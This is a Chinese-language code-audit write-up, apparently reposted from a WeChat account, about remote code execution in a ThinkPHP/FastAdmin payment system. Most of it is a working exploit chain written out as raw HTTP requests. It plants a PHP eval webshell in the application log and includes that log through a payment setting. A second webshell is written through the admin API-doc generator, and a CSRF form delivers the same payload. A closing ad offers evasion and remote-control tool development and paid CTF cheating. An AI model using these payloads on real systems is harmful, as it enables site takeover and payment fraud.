0x01 前言
系统详情
-
ThinkPHP V5.0.24
thinkphpbase.php : define(‘THINK_VERSION’, ‘5.0.24’);
-
FastAdmin 快速后台开发框架(基于ThinkPHP+Bootstrap进行二次开发)
准备系统环境:CentOS 7.* + 宝塔 + Apache(该套系统默认使用 REWRITE 路径模式,如果更换为 Nginx 则需要重新调整伪静态规则)。登录宝塔面板,创建新网站、数据库,并将网站文件打包上传。
[注意]需要在 网站设置>网站目录>运行目录 将运行目录设置为 /public,重启网站生效。
访问首页会自动跳转到安装界面:http://test3.com/install.php,根据安装流程设置数据库账号密码、后台账号密码、网站名称、云端密钥等信息。然后就可以正常访问使用了。
0x02 RCE 1
前台利用
修改数据库模拟充值2000
开通微信VIP
新增通道
这时会访问支付通道http://api.juhekefu.com/api/Client/WXCreate,由于本地测试没有正确的Cloudkey,所以无法返回成功
模拟通道开通成功
本地环境中数据表qrlist中某些字段需要不为null(下表为导入的原始数据),但是在代码里没有找到添加字段值的地方,也没有设置默认值,所以手动修改为可以为null
`cloud_wxid` varchar(50) NOT NULL,
`cloud_server_code` varchar(50) NOT NULL COMMENT '云端服务器标识',
`cloud_server_name` varchar(50) DEFAULT NULL COMMENT '云端服务器名称',
`qq` varchar(50) NOT NULL,
在order表中api_memo字段在前台未找到添加的地方,同样设为可以为null
添加通道
POST /index/channel/addchannel.html HTTP/1.1
Host: www.ypay.com
Content-Length: 72
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.ypay.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.ypay.com/index/recharge/recharge.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ru8iaf4q4chu8ujrhvg54hs6d4; uid=1000; token=08002660-786a-4c00-8d3b-26cdd26dbf29
Connection: close
type=wxpay&channel_code=wxpay_cloudzs&wx_name=test&ewm_url=1&memo=1&zfb_pid=1
查看审查元素得到当前通道id
访问接口,开启通道,保证收款账号在线http://www.ypay.com/index/ajax/upqrstatus.html?id=7
提交订单(方式1)
访问接口自动生成订单号,需要注意的是其中typeid参数2代表微信支付
其中的参数PID当前商户ID,本地环境中为1000,实际除非管理员其他应该不是了,要按照自己的填写
http://www.ypay.com/index/index/consolepay?money=1&out_trade_no=333333333333333&pid=10xx&ytype=wxpay¬ify_url=aaa&return_url=aaa&sitename=YuanPay&name=aaa&typeid=2
提交订单(方式2)
这种方式签名需要自己生成
POST /index/pay/api_submit.html HTTP/1.1
Host: www.ypay.com
Content-Length: 80
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.ypay.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.ypay.com/index/recharge/recharge.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ru8iaf4q4chu8ujrhvg54hs6d4; uid=1000; token=08002660-786a-4c00-8d3b-26cdd26dbf29
Connection: close
money=1&name=aaa¬ify_url=1&out_trade_no=1234&pid=10xx&return_url=1&type=wxpay&ytype=1&sign=294269c9ff8e40c067bba9419487d179
其中的参数PID当前商户ID
构造的参数sign,sign是根据规则加上密钥(上图)对提交参数进行本地签名,ytype字段处理的时候会删掉,不需要加入签名字符串
md5('money=1&name=aaa¬ify_url=1&out_trade_no=1234&pid=1000&return_url=1&type=wxpayEQP47KSP');"
294269c9ff8e40c067bba9419487d179
服务器的签名
插入订单成功
漏洞利用首先访问任意带参数接口不传对应参数,携带payload,这样会在日志中生成访问记录以便包含该文件,使用burpsuite避免payload被url编码
GET /index/order/delorder?<?=eval($_GET['x']);?> HTTP/1.1
Host: www.ypay.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.ypay.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.ypay.com/index/recharge/recharge.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ru8iaf4q4chu8ujrhvg54hs6d4; uid=1000; token=08002660-786a-4c00-8d3b-26cdd26dbf29
Connection: close
访问接口
http://www.ypay.com/index/channel/basic.html
传入关键参数pay_temp为对应日期日志文件相对路径
POST /index/channel/basic.html HTTP/1.1
Host: www.ypay.com
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.ypay.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.ypay.com/index/recharge/recharge.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ru8iaf4q4chu8ujrhvg54hs6d4; uid=1000; token=08002660-786a-4c00-8d3b-26cdd26dbf29
Connection: close
lixian_notity=1&console_notity=1&yuyin_notity=1&pay_temp=../runtime/log/202203/26.log&memo=1&is_login_email=1&is_other=1&min_money_tx=1
此时访问:
http://www.ypay.com/index/pay/console.html?trade_no=Y2022032603064597298&x=phpinfo();
trade_no为前面生成的订单号,传入webshell参数既可执行php代码
包含的当天日志中如果存在和php语言相关字符的垃圾数据可能会包含失败,只要第二天包含一个全新的日志文件即可。
0x03 RCE 2
后台点击在线命令管理选择生成API文档,接口文件填写任意php后缀文件,文档标题填写PHP代码,点击生成命令行后执行
POST /KZVPESLuFq.php/command/command/action/execute HTTP/1.1
Host: www.ypay.com
Content-Length: 128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://burp
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://burp/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=9lbolp4u5llh72aga044aqfm5u
Connection: close
commandtype=api&force=0&url=&output=test.php&template=&title=%3C%3Fphp+eval%28%24_GET%5B%27x%27%5D%29%3B%3F%3E&author=&language=
此时会在public目录下生成test.php文件
访问文件https://ypay.com/test.php?x=phpinfo();
CSRF(可搭配RCE 2使用)
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://www.ypay.com/KZVPESLuFq.php/command/command/action/execute" method="POST">
<input type="hidden" name="commandtype" value="api" />
<input type="hidden" name="force" value="0" />
<input type="hidden" name="url" value="" />
<input type="hidden" name="output" value="test2.php" />
<input type="hidden" name="template" value="" />
<input type="hidden" name="title" value="<?php eval($_GET['x']);?>" />
<input type="hidden" name="author" value="" />
<input type="hidden" name="language" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
0x04 结尾
承接红蓝对抗、安全众测、安全培训、CTF代打、CTF培训、PHP / JAVA / GO / Python 代码审计、渗透测试、应急响应、免杀/远控开发 等等的安全项目,请联系下方微信。
原文始发于微信公众号(不懂安全的校长):代码审计|针对某支付源码二开ThinkPHP审计